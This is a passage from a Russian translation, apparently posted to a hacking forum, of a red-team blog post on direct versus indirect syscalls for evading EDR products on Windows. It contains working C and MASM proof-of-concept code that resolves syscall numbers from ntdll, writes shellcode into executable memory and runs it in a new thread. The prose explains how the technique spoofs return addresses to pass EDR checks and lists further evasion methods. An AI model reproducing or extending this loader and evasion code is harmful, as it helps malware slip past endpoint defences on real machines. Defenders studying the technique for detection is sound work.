UINT_PTR sysAddrNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
UINT_PTR sysAddrNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
UINT_PTR sysAddrNtCreateThreadEx;
DWORD wNtWaitForSingleObject;
UINT_PTR sysAddrNtWaitForSingleObject;
int main() {
PVOID allocBuffer = NULL; // Declare a pointer to the buffer to be allocated
SIZE_T buffSize = 0x1000; // Declare the size of the buffer (4096 bytes)
// Get a handle to the ntdll.dll library
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
// This is typically located at the 4th byte of the function
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
// The syscall stub (actual system call instruction) is some bytes further into the function.
// In this case, it's assumed to be 0x12 (18 in decimal) bytes from the start of the function.
// So we add 0x12 to the function's address to get the address of the system call instruction.
sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];
sysAddrNtWriteVirtualMemory = pNtWriteVirtualMemory + 0x12;
UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];
sysAddrNtCreateThreadEx = pNtCreateThreadEx + 0x12;
UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
sysAddrNtWaitForSingleObject = pNtWaitForSingleObject + 0x12;
// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
// Define the shellcode to be injected
unsigned char shellcode[] = "\xfc\x48\x83";
ULONG bytesWritten;
// Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
HANDLE hThread;
// Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
// Use the NtWaitForSingleObject function to wait for the new thread to finish executing
NtWaitForSingleObject(hThread, FALSE, NULL);
C:
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
В отличие от POC прямого системного вызова, в POC непрямого системного вызова мы хотим динамически извлекать не только SSN, но и адрес памяти инструкции системного вызова. Последнее делается с помощью линии sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12. Это необходимо для того, чтобы позже в связанном ассемблерном коде syscall инструкцию можно было заменить инструкцией безусловного перехода (jmp), указывающей на адрес памяти инструкции системного вызова внутри ntdll.dll.
C:
EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory.
EXTERN sysAddrNtAllocateVirtualMemory:QWORD ; The actual address of the NtAllocateVirtualMemory syscall instruction in ntdll.dll.
EXTERN wNtWriteVirtualMemory:DWORD ; Syscall number for NtWriteVirtualMemory.
EXTERN sysAddrNtWriteVirtualMemory:QWORD ; The actual address of the NtWriteVirtualMemory syscall instruction in ntdll.dll.
EXTERN wNtCreateThreadEx:DWORD ; Syscall number for NtCreateThreadEx.
EXTERN sysAddrNtCreateThreadEx:QWORD ; The actual address of the NtCreateThreadEx syscall instruction in ntdll.dll.
EXTERN wNtWaitForSingleObject:DWORD ; Syscall number for NtWaitForSingleObject.
EXTERN sysAddrNtWaitForSingleObject:QWORD ; The actual address of the NtWaitForSingleObject syscall instruction in ntdll.dll.
.CODE ; Start the code section
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register.
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall.
NtAllocateVirtualMemory ENDP ; End of the procedure.
; Similar procedures for NtWriteVirtualMemory syscalls
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, wNtWriteVirtualMemory
jmp QWORD PTR [sysAddrNtWriteVirtualMemory]
NtWriteVirtualMemory ENDP
; Similar procedures for NtCreateThreadEx syscalls
NtCreateThreadEx PROC
mov r10, rcx
mov eax, wNtCreateThreadEx
jmp QWORD PTR [sysAddrNtCreateThreadEx]
NtCreateThreadEx ENDP
; Similar procedures for NtWaitForSingleObject syscalls
NtWaitForSingleObject PROC
mov r10, rcx
mov eax, wNtWaitForSingleObject
jmp QWORD PTR [sysAddrNtWaitForSingleObject]
NtWaitForSingleObject ENDP
END
C:
;Indirect Syscalls
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register.
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall.
NtAllocateVirtualMemory ENDP
C:
;Direct Syscalls
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register.
syscall ; Execute syscall.
ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP
Если мы сравним ассемблерный код POC прямого системного вызова и POC непрямого системного вызова, мы увидим, что непосредственно в POC непрямого системного вызова только часть заглушки собственной функции отображается в виде ассемблерного кода. Также в POC непрямого системного вызова SSN считывается динамически и сохраняется в глобально объявленной переменной. Однако, в отличие от POC прямого системного вызова, POC непрямого системного вызова заменяет инструкцию syscall командой безусловного перехода ( jmp), которая использует указатель для указания адреса инструкции syscall в области памяти ntdll.dll.
Мы компилируем POC косвенного системного вызова и открываем его в x64dbg. По сравнению с предыдущим POC прямого системного вызова можно видеть, что оператор системного вызова не выполняется в области памяти сборки косвенного системного вызова. Вместо этого инструкция системного вызова была заменена инструкцией перехода, которая указывает на адрес памяти инструкции системного вызова в ntdll.dll. Это гарантирует, что инструкция системного вызова и последующий возврат выполняются из области памяти ntdll.dll.
Мы также хотим использовать Process Hacker для анализа и сравнения стека вызовов POC прямого системного вызова и POC непрямого системного вызова. Если мы сравним кадры стека между POC прямого системного вызова и POC непрямого системного вызова, мы увидим, что ntdll.dll находится в нижней части стека для POC прямого системного вызова и наверху стека для POC непрямого системного вызова. Отсюда следует, что при выполнении инструкции возврата в памяти ntdll.dll в POC непрямого системного вызова адрес возврата может быть успешно подделан, ntdll.dll может быть помещен в верхнюю часть стека вызовов, и EDR интерпретирует более высокую легитимность.
Более высокую легитимность порядка кадров стека в POC непрямого системного вызова можно легко увидеть, взглянув на порядок кадров стека немодифицированного cmd.exe. Для этого просто откройте cmd.exe и еще раз просмотрите кадры стека с помощью Process Hacker. Вы увидите, что ntdll.dll по-прежнему находится на вершине стека и что структура стека вызовов или кадров стека POC непрямого системного вызова гораздо больше похожа на POC прямого системного вызова.
Информация
Различные эксперименты с разными EDR показали, что прямые системные вызовы все еще могут работать, но их обнаружение все чаще происходит в зависимости от EDR. Основываясь на IOC в контексте прямых системных вызовов, косвенные системные вызовы могут быть полезным решением, поскольку они решают следующие проблемы по сравнению с:
- Во-первых, выполнение команды syscall происходит в памяти ntdll.dll и, следовательно, является законным для EDR.
- С другой стороны, выполнение оператора return происходит в памяти ntdll.dll и указывает из памяти ntdll.dll на память сборки косвенного системного вызова. Такое поведение, по крайней мере, более законно, чем поведение с прямыми системными вызовами, но все же может привести к IOC в зависимости от EDR, например, если EDR также проверяет стек вызовов.
Косвенные системные вызовы являются улучшением по сравнению с прямыми системными вызовами, но имеют свои ограничения, а также определенные IOC, которые сейчас используются поставщиками EDR для создания правил обнаружения. Например, с помощью непрямых системных вызовов можно подделать адрес возврата, в результате чего адрес памяти последующего возврата будет помещен наверх стека вызовов и обойти проверку возврата EDR. Однако если EDR использует ETW, он может дополнительно проверить сам стек вызовов на предмет неправильного поведения. Одних непрямых системных вызовов уже недостаточно для обхода EDR, поскольку EDR также использует ETW, и вам необходимо более внимательно изучить подмену стека вызовов. Хорошая статья об этом «Скрытие в PlainSight — косвенный системный вызов мертв! Да здравствуют пользовательские стеки вызовов» от @NinjaParanoid - (https://0xdarkvortex.dev/hiding-in-plainsight/).
Заключение
В зависимости от EDR прямые системные вызовы все еще могут быть полезным методом для различных действий, таких как выполнение шелл-кода для первоначального доступа. Однако если EDR проверяет, например, область памяти, из которой выполняются операторы системного вызова и возврата, или область памяти, на которую указывает оператор возврата, то прямые системные вызовы могут привести к проблемам уклонения от EDR, поскольку операторы системного вызова и возврата выполняются из памяти самой сборки, а оператор return также указывает из памяти сборки в память сборки.
Чтобы обойти эти проблемы, связанные с уклонением от EDR, могут помочь непрямые системные вызовы. При использовании непрямых системных вызовов операторы системного вызова и возврата выполняются в памяти ntdll.dll. Это законное поведение в Windows, и мы исключили один IOC по сравнению с прямыми системными вызовами. Другой IOC исключается, поскольку оператор return выполняется в памяти ntdll.dll, а не из памяти самой сборки, как это было раньше при использовании прямых системных вызовов. Кроме того, оператор return указывает из памяти ntdll.dll в память сборки косвенных системных вызовов, а не из памяти сборки в память сборки, как это было ранее при использовании прямых системных вызовов.
Косвенные системные вызовы являются хорошим развитием прямых системных вызовов, но у них есть свои ограничения. Например, в контексте POC непрямого системного вызова, используемого в этом сообщении блога, существуют ограничения, когда Native API подключается к EDR с помощью Inline Hook. Почему? Поскольку встроенный перехватчик EDR заменяется mov eax SSN в затронутом Native API инструкцией безусловного перехода (jmp), невозможно динамически извлечь номер системного вызова (SSN) из загруженной ntdll.dll в память. Для этого сначала необходимо удалить встроенный хук в затронутом собственном API, только после этого можно будет извлечь SSN из файла mov eax SSN. Обратите внимание на важную мысль, на которую я наткнулся вначале: EDR может перехватить mov eax SSN или заменить его инструкцией jmp. Но EDR никогда не сможет перехватить инструкцию системного вызова syscall. Это важно, поскольку EDR никогда не сможет помешать нам выполнить системный вызов в памяти в ntdll.dll, используя косвенные системные вызовы.
Другой подход к динамическому извлечению SSN из заглушки «чистого» или отключенного Native API — это метод Halo's Gate (развитие Hell's Gate). Я рекомендую статью « Halo's Gate — сестра-близнец Hell's Gate » автора @SEKTOR7net (https://blog.sektor7.net/#!res/2021/halosgate.md), который разработал технику Halo's Gate, а также статью « Обход EDR: получение идентификатора системного вызова с помощью Hell's Gate, Halo's Gate, FreshyCalls и Syswhispers2 » @AliceCliment (https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/) также очень рекомендуется.
Еще одним ограничением непрямых системных вызовов является то, что если EDR также использует ETW, EDR будет проверять не только адрес возврата, но и сам стек вызовов. В этом случае одних лишь косвенных системных вызовов недостаточно, необходимо также решить проблему подмены стека вызовов. Однако эта тема определенно выходит за рамки этого блога и, надеюсь, будет рассмотрена в следующей статье.
Все примеры кода в этой статье также можно найти в моей учетной записи Github.
Удачного взлома!
Дэниел Файхтер @VirtualAllocEx
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls